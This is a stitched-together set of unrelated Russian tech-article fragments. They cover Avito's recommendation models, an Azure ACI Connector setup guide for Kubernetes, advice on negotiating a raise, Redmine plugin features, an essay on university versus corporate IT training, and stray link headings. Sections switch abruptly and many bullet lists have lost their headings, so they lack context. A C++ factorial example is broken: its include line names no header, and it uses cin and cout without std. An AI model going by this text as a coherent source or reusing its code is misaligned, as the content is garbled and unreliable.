Еще одним перспективным направлением рекомендаций на Avito являются item-item рекомендации, то есть рекомендации товаров для других товаров. Этот тип рекомендаций также делится на рекомендации похожих товаров (аналоги) и дополняющих товаров или услуг. Это направление является особенно важным, так как, в отличие от медийных порталов (фильмы, музыка) пользователь, как правило, приходит на Avito за чем-то конкретным и нам сложно заранее предсказать текущие предпочтения пользователей. Но если пользователь уже сам смотрит какой-то товар, то тут мы можем посоветовать ему альтернативы или дополняющие товары и они с большой вероятностью будут релевантны его текущему поиску. Рекомендации похожих объявлений показываются на карточке объявления, а также используются в email- и push-рассылках.

User-item рекомендации для классифайдов

Теперь немного углубимся в задачу user-item рекомендаций, как наиболее интересную с теоретической точки зрения. Входными данными являются:

• история действий пользователей на сайте: просмотры, поисковые запросы, контакты, избранное;
• профили пользователей: данные из привязанных аккаунтов соц. сетей, локация;
• все активные объявления на Avito: заголовок, описание, параметры, цена.

При этом объем данных сравнительно большой: 20 млн. активных пользователей, 35 млн. активных объявлений.

Постановка задачи звучит следующим образом: для каждого активного пользователя показать top-N объявлений с наибольшей вероятностью запроса контакта (звонок или отправка сообщения).

Несмотря на то, что формулировка задачи звучит как классическая задача любой рекомендательной системы, её построение для Avito имеет существенные отличия от задач рекомендаций медийного контента: фильмов, музыки и прочего. Во-первых, ликвидные товары частников быстро продаются, не успев даже набрать хорошую историю по просмотрам и запросам контактов. Классические алгоритмы коллаборативной фильтрации устроены так, что объявления с короткой историей не попадают в рекомендации. Чаще рекомендуются долго живущие объявления, которые, как правило, представляют меньший интерес для покупателей.

Также пользователя, как правило, интересует типовой товар, для которого может быть много активных объявлений. Например, ему нужно купить конкретную модель iPhone, а у кого — уже не так важно. Поэтому строить рекомендации лучше не на объявлениях, а на типовых товарах. Для этого мы строим специальные алгоритмы кластеризации.

Еще одной особенностью рекомендаций на Avito является то, что объявления создаются обычными пользователями и содержат ошибки, неполные описания. Это приводит к тому, что нам приходится серьезно работать над text processing, извлечением полезных признаков из описаний объявлений.

Методы

Теперь несколько слов о том, какие методы мы используем для построения рекомендаций.

Offline-модели

Исторически мы использовали и продолжаем использовать модели, которые обрабатывают click stream пользователей в «batch» режиме. Эти алгоритмы позволяют реагировать на новые действия, совершенные пользователем, с отставанием в 1-2 часа. Мы называем их offline-моделями.

Offline-модели рекомендаций глобально делятся на коллаборативные и контентные. Очевидно, что каждая из этих моделей имеет свои плюсы и минусы и наилучшие результаты показывают гибридные модели, которые учитывают как историю действий пользователей, так и контент объявлений. Именно гибридную модель мы и используем в качестве основной для offline-рекомендаций.

Online-модели

Offline-модели способны генерировать качественные рекомендации, но они не могут быстро реагировать на изменения интересов пользователя. Это — их существенный минус. Например, если пользователь начал искать какой-то новый товар на Avito, то мы хотим в рамках той же сессии начать рекомендовать ему подходящие товары. Для этого мы должны в реальном времени учитывать интересы пользователя. Такие модели мы называем online-моделями.

Их особенностью является то, что они более сложны с архитектурной точки зрения (время от момента совершения действия пользователем до обновления рекомендаций — не более 1 секунды). Классическая online модель основана на построении online профиля интересов пользователя, с помощью которого отбираются самые свежие и релевантные объявления. Из-за жестких требований к производительности online-алгоритмы, как правило, более простые, чем offline.

Оценка качества моделей

После того, как новая модель создана, её нужно как-то оценить. Целевой метрикой по компании является прирост количества сделок на Avito. Все offline- и online-метрики должны так или иначе должны коррелировать с ней.

Для оценки offline-моделей существует ряд отличных метрик, таких как precision, recall, NDCG, R-score и другие.

Не всегда удается подобрать такие offline-метрики, которые хорошо коррелируют с целевой метрикой компании. Здесь на помощь приходят online-метрики (CTR, конверсия в контакты, прирост в уникальных покупателях). На online сплит-тестах мы можем сравнить рекомендации от различных моделей и различные frontend-интерфейсы. Для оптимизации метапараметров моделей хорошо подходит метод многоруких бандитов.

Итоги

Перед командой рекомендации Avito стоят амбициозные задачи, которые требуют глубокого и активного исследования методов рекомендаций, способных выдерживать нагрузки Avito по производительности и показывать отличные результаты на целевых метриках.

Для того, чтобы найти оптимальные подходы, мы читаем много статей, ездим и выступаем на конференциях и проводим конкурсы. Не так давно закончился наш конкурс по рекомендациям, и мы не планируем на этом останавливаться. Призываем всех заинтересованных помочь нам в этом нелегком труде путем участия в наших конкурсах. А мы постараемся не скупиться на призовые :). Также у нас периодически открываются вакансии, о которых мы обязательно сообщаем в slack-канале ODS.

Кроме этого, мы и сами участвуем в конкурсах. BTW, в 2016 и 2017 годах мы вошли в 10-ку лучших команд на крупнейшем международном соревновании по рекомендательным системам Recsys Challenge. В следующей статье планирую подробнее рассказать о нашем решении Recsys Challenge 2017.

Спасибо за внимание!

Принципы работы

• регистрируется в Kubernetes как узел (node) с неограниченными ресурсами;
• отправляет поды (pod) на исполнение в службу экземпляров контейнеров Azure вместо нод на виртуальных машин.

Требования

1. Работающий клиент командной строки az — установить Azure CLI 2.0.
2. Кластер Kubernetes с рабочим kubectl — настроить кластер Kubernetes в Azure.

Текущие возможности

• Переменные среды
• Команды
• ImagePullSecret
• Azure Files Shared в качестве томов

Текущие ограничения

• ConfigMaps
• Secrets
• ServiceAccounts
• Volumes
• kubectl logs
• kubectl exec

Как быстро попробовать

1. Отредактируйте файл examples/aci-connector.yaml и укажите переменные среды.
2. Запустите коннектор ACI Connector командой kubectl create -f examples/aci-connector.yaml.
3. Дождитесь, пока команда kubectl get nodes отобразит узел aci-connector.
4. Запустите под NGINX через ACI командой kubectl create -f examples/nginx-pod.yaml.
5. Откройте под NGINX с помощью его общедоступного адреса.

Пошаговая инструкция

Создайте группу ресурсов

$ az group create -n aci-test -l westus
{
  "id": "/subscriptions//resourceGroups/aci-test",
  "location": "westus",
  "managedBy": null,
  "name": "aci-test",
  "properties": {
    "provisioningState": "Succeeded"
  },
  "tags": null
}

Создайте Service Principal

$ az account list -o table
Name                                             CloudName    SubscriptionId                        State    IsDefault
-----------------------------------------------  -----------  ------------------------------------  -------  -----------
Pay-As-You-Go                                    AzureCloud   12345678-9012-3456-7890-123456789012  Enabled  True

$ az ad sp create-for-rbac --role=Contributor --scopes /subscriptions//
{
  "appId": "",
  "displayName": "azure-cli-2017-07-19-19-13-19",
  "name": "http://azure-cli-2017-07-19-19-13-19",
  "password": "",
  "tenant": ""
}

• AZURE_CLIENT_ID: введите идентификатор приложения appId.
• AZURE_CLIENT_KEY: введите пароль.
• AZURE_TENANT_ID: укажите тенант.
• AZURE_SUBSCRIPTION_ID: введите идентификатор подписки subscriptionId.

Убедитесь, что провайдер Microsoft.ContainerInstance зарегистрирован

$ az provider list -o table | grep ContainerInstance
Microsoft.ContainerInstance             NotRegistered

$ az provider register -n Microsoft.ContainerInstance
$ az provider list -o table | grep ContainerInstance
Microsoft.ContainerInstance             Registered

Установите коннектор ACI Connector

$ kubectl create -f examples/aci-connector.yaml 
deployment "aci-connector" created

$ kubectl get nodes -w
NAME                        STATUS                     AGE       VERSION
aci-connector               Ready                      3s        1.6.6
k8s-agentpool1-31868821-0   Ready                      5d        v1.7.0
k8s-agentpool1-31868821-1   Ready                      5d        v1.7.0
k8s-agentpool1-31868821-2   Ready                      5d        v1.7.0
k8s-master-31868821-0       Ready,SchedulingDisabled   5d        v1.7.0

Установите соединитель ACI Connector с Helm (опционально)

$ helm install --name my-release ./charts/aci-connector

$ helm install --name my-release --set env.azureClientId=YOUR-AZURECLIENTID,env.azureClientKey=YOUR-AZURECLIENTKEY,env.azureTenantId=YOUR-AZURETENANTID,env.azureSubscriptionId=YOUR-AZURESUBSCRIPTIONID,env.aciResourceGroup=YOUR-ACIRESOURCEGROUP,env.aciRegion=YOUR-ACI-REGION ./charts/aci-connector

Установите пример c NGINX

$ kubectl create -f examples/nginx-pod.yaml 
pod "nginx" created

$ kubectl get po -w -o wide
NAME          READY     STATUS    RESTARTS   AGE       IP             NODE
aci-connector-3396840456-v75q2  1/1       Running   0          44s       10.244.2.21    k8s-agentpool1-31868821-2
nginx         1/1       Running   0          31s       13.88.27.150   aci-connector

Использование планировщика Kubernetes

$ kubectl create -f examples/nginx-pod-tolerations.yaml

Использование сборок Canary

$ kubectl set image deploy/aci-connector aci-connector=microsoft/aci-connector-k8s:canary

• он ничего не просит и начинает разговор с позиции равного
• он хочет узнать о его возможных перспективах работы в компании
• возможно, Иван хочет занять более высокую должность
• возможно, Иван даже готов больше работать, чтобы получить желаемую прибавку

• Иван – проактивный человек, проявляет лидерские качества, возможно, сможет расти в руководителя группы
• Иван лоялен к компании, ведь первым начинает разговор со своим менеджером, а не идет на собеседование
• Иван готов, возможно, к дополнительной работе
• если планировалось повышение только +10% в этом году, можно рассмотреть Ивана для продвижения по карьерной лестнице и дать ему желаемые 30%.

• Иван получит желаемую зарплату
• Менеджер получит лояльного и мотивированного сотрудника.

• Иван запросит +100%, вряд ли в какой компании смогут организовать такое большое повышение
• Менеджер по разным причинам не сможет найти варианты для повышения сотрудника.

• Иван понимает, что раз сейчас это сработало, то сработает в дальнейшем
• другие сотрудники, которым Иван рассказал лайфхак, смогут сделать так же
• Иван теряет доверие менеджера

Содержание:

1. Выбор темы для Redmine.
2. Как использовать Redmine Agile командам?
3. Управление клиентами и продажами в Redmine.
4. Helpdesk или как автоматизировать поддержку клиентов в Redmine.
5. Управление командой.
6. Управление расходами в Redmine. Финансы.
7. Redmine в облаке — сфокусируйтесь на проектах!

Разработка продукта, продажи, клиенты, поддержка, ресурсы, команда — как вы уже поняли, далее речь пойдет о том, как продуктовые команды или стартапы могут использовать Redmine для успешной реализации проектов.

1. Выбор темы для Redmine

Ну как вам? Разницу видите? Если нет, то обратить внимание на:

• Акценты на главном (приоритезация). 
• Правильно подобранные шрифты (читаемость).
• Компоновка рабочего экрана (эргономика). 
• Цветовая гамма (сочетание цветов).
• Адаптивный дизайн (не видно на скриншоте, но видно на компе).
• Поддержка ретина дисплеев (не видно на скриншоте, но видно на компе).

2. Как использовать Redmine Agile командам?

• Планировать спринты.
• Оценивать задачи (Story points).
• Настраивать Agile-доски с помощью фильтров и сохранять их в виде запросов.
• Устанавливать ограничение количества задача в конкретном статусе.
• Остлеживать состояние проекта по Agile диаграммам — Burndown, Cumulative Flow, Velocity или Lead.
• Персонифицировать доски под свои конкретные задачи.

3. Управление клиентами и продажами в Redmine

• Вести базу данных клиентов, партнеров и контрагентов.
• Видеть историю общения с клиентом.
• Привязывать задачу к клиенту.
• Отправлять сообщения по email.
• Организовать клиентский портал.
• Драйвить сделки с клиентами.
• Быстро находить контакты с помощью тегов и фильтров.

4. Helpdesk или как автоматизировать поддержку клиентов в Redmine

Чем вам может быть полезен Helpdesk в Redmine:

• Helpdesk автоматом создаст тиккет из email клиента (или из контактной формы).
• Заодно создаст и карточку контакта (если это новое обращение).
• Вы сможете привязать задачу к контакту (история обращений по клиенту).
• Сохраните время и отвечайте готовыми ответами (шаблоны ответов).
• Организуйте уровни поддержки (SLA).
• Отслеживайте метрики службы поддержки (время первого ответа и т.д.).
• Попросите клиентов оценить работу саппорт менеджера (оценка менеджеров).
• Настроить авто-ответы (указать ожидаемое время ответа или ссылку на FAQ).
• Вы можете установить всплывающее окно и начать диалог с клиентом первыми (Pop-up форма обратной связи).

5. Управление командой

6. Управление расходами в Redmine. Финансы.

7. Redmine в облаке — сфокусируйтесь на проектах!

Вузы, вы больны

• Увязка теории и практики на всех этапах — у нас не было чистых лекций или семинаров, вся информация поступала к нам с реальными примерами, без дистиллированных задач.
  
• Кроме базовой информации, они разбирали нетипичные истории из практики — сразу было понятно, что в будущем всё будет немного не так, как в учебниках (совсем не так).
  
• Они не ошибались. В том смысле, что не было таких историй, когда после длинных формул и решений стиралась половина доски. Всё оттого, что они решали с нами практические примеры, за которые привыкли получать деньги и в которых отвечали за чужие инвестиции.
  
• Они показали, как применяется высшая математика в деле — и у нас уже не возникало мысли «ну и где мне этот тервер понадобится». К слову сказать, никто из нас не пошёл в биржевое дело, но на то были разные причины.
  

• Устаревшая материально-техническая база и устаревшие учебные планы — согласитесь, странно изучать Windows Server 2003 или Pascal в 2017 году.
  
• Преподаватели-теоретики, некоторые из которых просто прошли курсы повышения квалификации и, например из математика превратились в преподавателя по алгоритмам и структурам данных.
  
• Отсутствие практики — согласитесь, формальный месяц, за который студенты дважды посещают базу практики, совершенно не то, что нужно разработчикам или инженерам. В то время как вуз может запросто давать первичный и довольно глубокий опыт, припахивая студентов к внутренним проектам или грантам.
  

• вуз учит грамотно формулировать и высказывать свои мысли
  
• вуз даёт бесценный навык — умение пользоваться литературой и источниками, а не просто гуглить
  
• вуз имеет огромную научную базу и хорошую библиотеку — и просидеть день в читальном зале отнюдь не ретроградство
  
• вуз развивает мышление и навыки обобщения
  
• вуз даёт основы, на базе которых можно продолжать развитие и обучение
  
• и как ни крути, вуз — это диплом гос. образца, который, вопреки многим суждениям, продолжают ждать работодатели. Ну а если в карьерном плане есть что-то типа Росатома, Газпрома и т.д., то диплом просто необходим. Не говоря уж о науке.
  

Корпоративный институт как не идеальная, но лучшая форма обучения

1. магистратура мехмата — была отвергнута из-за того, что в учебном плане было до кучи ненужного, а времени ушло бы три года. Ну и дорого, конечно;
   
2. дополнительное образование в университете — было отвергнуто из-за устаревшей программы (как вам офисное программирование VBA или Access как изучаемая СУБД?) и изученного списка преподавателей-теоретиков;
   
3. обучение в корпоративном институте крупнейшей компании-разработчика в городе. Учебный план был актуальный, стек интересный, длина — год (по факту почти полтора), преподаватели — исключительно практики. Бонусом было 100 часов английского — на тот момент не знала его вообще, моим первым иностранным был французский. Курс назывался «Разработка программного обеспечения».
   

• корпоративный интерес и корпоративный стек
  
• профильные задачи на практике
  

• почти гарантированная возможность получить работу (всех, кто выжил, пригласили на собеседование, двое сменили работу)
  
• попадание на первый фронт тех, кого рассматривают на вакансии в дальнейшем — на почту периодически приходят письма с вакансиями по профилю обучения.
  

• преподаватели иногда игнорируют отстающих слушателей
  
• не всегда курс выстроен логично
  
• слабые быстро адаптируются и начинают списывать и копировать у сильных, становясь ещё слабее.
  

• разбираются самые нелепые и одновременно сложные вопросы
  
• сильные, объясняя слабым, получают дополнительное развитие
  
• появляется стимул рыться в литературе (правда, не у всех).
  

#include 
int main()
{
int i, fact=1, n;
cin>>n;
for (i=1; i<=n; i++)
  {
  fact=fact*i;
  }
  cout << fact;
  return 0;
}

• Обязательно должны быть введены понятия репозитория, структуры проекта, разделения задач программистов на проекте (junior, middle, senior).
  
• Важно показывать роль книг, специализированных сайтов и опенсорса в обучении — только трое из нас купили учебники, только у одного был живой прокачанный аккаунт на Хабре и Тостере. И конечно, нужно обязательно рассказать о существовании курсов MIT, CS50 на русском, доступных записей лекций технических вузов. Примочки типа codecademy тоже не станут лишними в практике программирования — преподаватель просто обязан знать свой арсенал и транслировать его слушателям.
  
• На лекциях у каждого слушателя должен быть включён ПК — это золотое, даже платиновое правило. Одно дело смотреть на магию на проекторе, другое — повторять это перед собой и ковыряться в коде. Да, это займёт больше времени, но оно и эффективнее. Сейчас я опять же по доброй воле учусь в том же месте на потоке «Администрирования Windows Server» (RegionSoft CRM — продукт по большей части виндовый, и нужно хорошо знать инфраструктурное окружение проекта) и это очень круто — когда каждое действие, каждую команду мы отрабатываем на виртуалке, причём нередко в нескольких вариантах — например, настраиваем систему через GUI, средствами командной строки и через скрипты/командлеты Power Shell). Во-первых, подключаются все типы человеческой памяти, во-вторых, происходит дополнительное обсуждение косяков и успехов друг друга.
  

Как войти в айти

Способ первый — полное самообразование

1. Определиться, зачем вам нужно программирование или администрирование — для развития мозгов, своего проекта, смены работы, эмиграции, для того, чтобы выйти на новый уровень в текущей деятельности. Исходя из этого нужно задать сроки и интервалы обучения.
   
2. Выбрать, с чего начать. Здесь все средства хороши, но как ни парадоксально, удачнее всего начинать с приложений вроде codecademy или книги «Python для чайников». Это не испортит вам стиль (его ещё нет), но доступным языком погрузит в основы и даст попробовать код «на пальцах».
   
3. Расширить круг читаемой литературы, начать работать в IDE.
   
4. Перестать бояться 127 ошибок в компиляторе, стать более внимательным к синтаксису.
   
5. Начать работать со своим или опенсорсным проектом. До этого этапа мало кто доходит. Но если дошли, будьте уверены — всё сложится.
   

Способ первый модифицированный — самообразование + наставник в компании или стажировка

Способ второй — высшее образование (второе или дополнительное)

Способ третий — корпоративный университет

О самом главном — без чего не обойтись

• Без непрерывной работы с кодом. Вы должны его писать, разбирать, искать пути оптимизации, просить критики в экспертных сообществах и уметь прислушиваться к ней (хотя вам скажут и про «вон из профессии», и про «руки из ж…», и про «говнокод». Это совершенно нормальный путь.
  
• Без знания основ: позиционных систем счисления, устройства ПК, знания алгоритмов, работы с переменными, булевой алгебры, типизации и т.д. Большинство тех, кто хочет присоединиться к разработчикам, почему-то считают эти знания чем-то ненужным и погружаются сразу в готовые фрагменты кода, переделывая их и стряпая свой проект. Это неправильно — рано или поздно в проекте вы встретитесь именно с этими проблемами.
  
• Без книг. Ни один гугл, Тостер, Stack overflow и ламповый форум SQL-щиков не заменит книг в плане глубины и основ. Конечно, в идеале это должны быть оригиналы книг зарубежных авторов, благо что сегодня на Amazon потрясающий ассортимент — от классического С до нейросетей и NLP (который natural language processing). Но и переводные издания радуют всё больше. Не бойтесь портить книгу — читайте её с карандашом, ручкой и чем угодно. И да, если в книге приведён код, то недостаточно его разглядывать — лучше воспроизвести его на ПК, скомпилировать, разобрать и вникнуть. От простого чтения кода пользы в разы меньше.
  
• Без вопросов себе, преподавателю, гуглу, сообществу, наставнику. Идеальна схема выглядит так: слушаете лекцию, пишете базовые вещи, тут же отмечаете, что стоит изучить поглубже или узнать самому. На следующий день разбираете пометки, опять конспектируете самое важное. Затем практикуетесь в написании кода или, например, администрировании.
  
• Без изучения сопутствующего окружения и ИТ-инфраструктуры. Да, можно написать небольшой сайт и даже разместить на нём, например, красивую галерею работ, но потолок придёт быстро, если вы не озаботились изучением вопросов нагрузки, безопасности данных, форм на сайте и т.д. Поэтому стоит изучать нужную технологию комплексно, захватывая остальные.
  

• Без рефакторинга. При всём старании вы никогда не создадите совершенный код с первого раза. И с десятого не сотворите, это даже у опытных разработчиков не всегда быстро выходит. Но работая с кодом, продумывая варианты оптимизации, вы становитесь профессионалом, который способен не просто накодить, а сделать ПО работающим и качественным. Не бойтесь код-ревью.
  
• Без проектирования. Если вы садитесь писать код, но не знаете, что вы пишете и как это должно работать, то вы просто тренируетесь в запоминании синтаксиса языка. Попробуйте нарисовать схему будущего приложения, установите, какие компоненты каким образом будут взаимодействовать, пропишите особенности и фичи. Так вам легче будет собрать проект и заставить его в конце концов работать.
  
• Без знания устройства вашей IDE (среды разработки). Все современные среды напичканы кучей возможностей типа автоматической генерации кода, подсветки, элементов управления и т.д. Обязательно разбирайтесь с возможностями, читайте документацию, обращайте внимание на то, как вводится код, как собирается проект, как работает компилятор и отладчик.
  
• Без понимания того, что такое библиотеки и как они работают. Во время обучения преподаватели иногда нас троллили — например, однажды мы долго прописывали функции арифметических операций и факториала, а потом нам показали math.h. Для целей обучения — полезный, весёлый и поучительный урок. Для целей работы — трата сил, времени и размножение костылей. Многое придумано до нас — достаточно взять, подключить и научиться использовать.
  
• А ещё без тестирования, DevOps, документирования и т.д. Но это продвинутый уровень — как правило, этим занимаются уже на работе.
  
• Без английского языка. Но это вы и без меня знаете. На английском доступны материалы, которые способны дать мощный толчок развитию профессионала. Их перевод зачастую выглядит тускло.
  

Тут можно взять новую прошивку.

Тут Архив с файлами скриптов

Инструкцию о том как прошивать контроллер можно посмотреть тут.

Электрическая схема:

Монтажная плата: 

Об Аргоннской национальной лаборатории

• VMware NSX: новый подход к обеспечению безопасности в области здравоохранения
• Поведенческий анализ животных: как облако IaaS помогает предсказывать землетрясения
• Облачные технологии в фотограмметрии и сельском хозяйстве